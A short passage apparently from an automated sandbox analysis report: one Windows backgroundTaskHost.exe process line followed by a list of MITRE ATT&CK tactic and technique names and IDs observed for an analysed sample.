"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:1048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery